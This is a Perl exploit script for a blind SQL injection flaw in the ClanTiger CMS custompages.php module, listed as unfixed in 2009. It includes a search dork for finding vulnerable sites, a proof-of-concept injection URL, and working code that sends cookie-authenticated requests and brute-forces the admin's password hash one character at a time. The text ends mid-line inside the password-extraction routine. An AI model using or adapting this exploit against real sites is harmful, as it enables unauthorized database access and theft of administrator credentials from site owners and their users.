#!/usr/bin/perl #*********************************************************************************************** #*********************************************************************************************** #** ** #** ** #** [] [] [] [][][][> [] [] [][ ][] [] [][]] [] [> [][][][> [][][][] ** #** || || || [] [][] [] [] [] [] [] [] [] [] [] [] ** # [> [][][][] [][][][> [] [] [] [] [] [][] [] [][] [][][][> [] [] ** #** [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\ #**==[> [] [] [] [][] [] [] [][][] [] [][] [] [] [] >>-- #** [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/ # [> [[[]]] [][][][> [][] [] [][[] [[]] [][] [][][] [] [> [][][][> <][] [] #** ** #** ** #** ¡VIVA SPAIN!...¡GANAREMOS EL MUNDIAL!...o.O ** #** ¡PROUD TO BE SPANISH! ** #** ** #*********************************************************************************************** #*********************************************************************************************** # #---------------------------------------------------------------------------------------------- #| (custompage.php) BLIND SQL INJECTION | #|--------------------------------------------------------------------------------------------| #| | CLAN TIGER CMS | | #| CMS INFORMATION: ---------------- | #| | #|-->WEB: http://www.clantiger.com | #|-->DOWNLOAD: http://www.clantiger.com/download-clan-cms | #|-->DEMO: http://www.demo.clantiger.com/ | #|-->CATEGORY: CMS / Portals | #|-->DESCRIPTION: ClanTiger is a content management system specifically designed for gaiming | #| clans... | #| | #| CMS VULNERABILITY: | #| | #|-->TESTED ON: firefox 2.0.0.20 and IE 7.0.5730 (Default) | #|-->DORK: "Powered by ClanTiger" | #|-->CATEGORY: BLIND SQL INJECTION/ PERL EXPLOIT | #|-->AFFECT VERSION: LAST = 1.1.1 (1.1 too) | #|-->Discovered Bug date: 2009-04-12 | #|-->Reported Bug date: 2009-04-12 | #|-->Fixed bug date: Not fixed | #|-->Info patch (????): Not fixed | #|-->Author: YEnH4ckEr | #|-->mail: y3nh4ck3r[at]gmail[dot]com | #|-->WEB/BLOG: N/A | #|-->COMMENT: A mi novia Marijose...hermano,cuñada, padres (y amigos xD) por su apoyo. | #---------------------------------------------------------------------------------------------- # #----------- #BUG FILE: #----------- # #Path --> [HOME_PATH]/modules/custompages.php # #It contents: # # function main() # { # # ... # # $page = new CustomPage(); # $page->slug = $_GET['slug']; # $page->getBy(array('slug')); # # if(!$page->id) # { # throw new cccException('The page you are looking for is currently unavailable. You may need to STOP! Hammertime. If School Is Out, You should try reloading this page.','Page not found'); # } # # $tpl->define('title',$page->title); # $tpl->define('content',$page->content); // we allow HTML here, no safeoutput # # $this->pageDetails->setTitle($page->title); # $this->pageDetails->addKeyword($page->keywords); # $this->pageDetails->setDescription($page->description); # # $this->content = $tpl->publish(); # $this->display(); # } # #------------ #CONDITIONS: #------------ # #**DB_PREFIX="" (Default) # # maybe: db, db_clan, ... # #**Exist a custompage # #**gpc_magic_quotes=off # #--------------------------------------- #PROOF OF CONCEPT (BLIND SQL INJECTION): #--------------------------------------- # #[HOME_PATH]/modules/custompages.php?slug=the_custom_page' [BLIND SQL INJECTION] # #--------- #EXAMPLE: #--------- # #[HOME_PATH]/modules/custompages.php?slug=the_custom_page'%20AND%20((SELECT%20length(username)%20from%20members%20WHERE%20id=1)=5)%20/* # #Result: admin's username has 5 characters (maybe = admin? :P) # #******************************************************************* # ESPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)! #******************************************************************* #------------------------------------------------------------------- #******************************************************************* # GREETZ TO: JosS and all spanish Hack3Rs community! #******************************************************************* # #-------------------EOF---------------------------------->>>ENJOY IT! # use LWP::UserAgent; use HTML::TreeBuilder 2.96; #Subroutines sub lw { my $SO = $^O; my $linux = ""; if (index(lc($SO),"win")!=-1){ $linux="0"; }else{ $linux="1"; } if($linux){ system("clear"); } else{ system("cls"); system ("title Clan Tiger CMS (module custompages.php) BLIND SQL Injection Exploit"); system ("color 02"); } } sub request { my $cookie="CCC_LANG=en;"." CCC_UID=".$_[0]."; CCC_CODE=".$_[1].";"; my $userag = LWP::UserAgent->new; $userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)'); my $request = HTTP::Request -> new(GET => $_[2]); $request->header(cookie => $cookie); my $outcode= $userag->request($request)->as_string; return $outcode; } sub helper { print "\n\t[**] Clan Tiger CMS - BLIND SQL Injection Exploit\n"; print "\t[??] USAGE MODE: [??]\n"; print "\t[**] perl $0 [HOST] [PATH] [uid] [code] [slug] [id] [DB_PREFIX]\n"; print "\t[**] [HOST]: Web attacked.\n"; print "\t[**] [PATH]: Home Path.\n"; print "\t[**] [uid]: The CCC_UID cookie.\n"; print "\t[**] [code]: The CCC_CODE cookie.\n"; print "\t[**] [slug]: Title custompage.\n"; print "\t[**] [id]: Exploiting id user. Default: 1 (**optional)\n"; print "\t[**] [DB_PREFIX]: Global var needed. Default: null (**optional)\n"; print "\t[**] Example: perl $0 www.example.es Clan-tiger-111 f717716... \n"; print "\t[**] ...2e1a50db06c0f2fe8804885ac2c01390 namecustompage 1 \"\"\n"; } sub mail{ $output=&request($_[0],$_[1],$_[2]); my $root = HTML::TreeBuilder->new_from_content($output); # source file $email= $root->look_down('_tag','td','style','width: 70%'); print "\t-----------------------------------------------------------------\n"; print "\tMail captured!.Getting password hash. Wait for a moment...\n"; print "\t-----------------------------------------------------------------\n"; return $email -> as_text(); $root->delete(); } sub password { #Second password... $j=1; $i=48; while(($j<=32) && ($i<=126)){ my $finalrequest=$_[4]."'+AND+ascii(substring((SELECT+password+FROM+".$_[0]."members+WHERE+id=".$_[1]."),".$j.",1))=".$i."+/*"; $output=&request($_[2],$_[3],$finalrequest); if ( $output =~ (/